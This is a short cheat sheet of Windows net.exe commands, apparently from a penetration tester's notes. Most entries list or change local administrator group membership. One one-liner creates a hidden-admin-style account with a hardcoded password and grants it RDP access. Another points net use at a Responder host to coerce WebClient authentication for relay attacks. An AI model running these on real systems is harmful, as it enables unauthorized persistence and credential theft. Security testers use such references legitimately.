# net.exe

Very helpful in the Windows world for mapping drives, changing local/domain group memberships, and much more!

## List local administrators on a box
```
net localgroup Administrators
```

## Create a new user and add that user to the local admin group
```
net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add 
```

## Add existing user to the local administrator group
```
net localgroup Administrators john.doe /add
```

## Add DOMAIN user to the local admin group
```
net localgroup Administrators "DOMAIN\username" /add
```

## Connect to a running instance of Responder to force the local system to start WebClient service
```
net use x: http://IP.THATS.RUNNING.RESPONDER/ /user:doesntmatter passworddoesntmatter
```

*Source:[thehackerrecipes](https://www.thehacker.recipes/a-d/movement/mitm-and-coerced-authentications/webclient)*
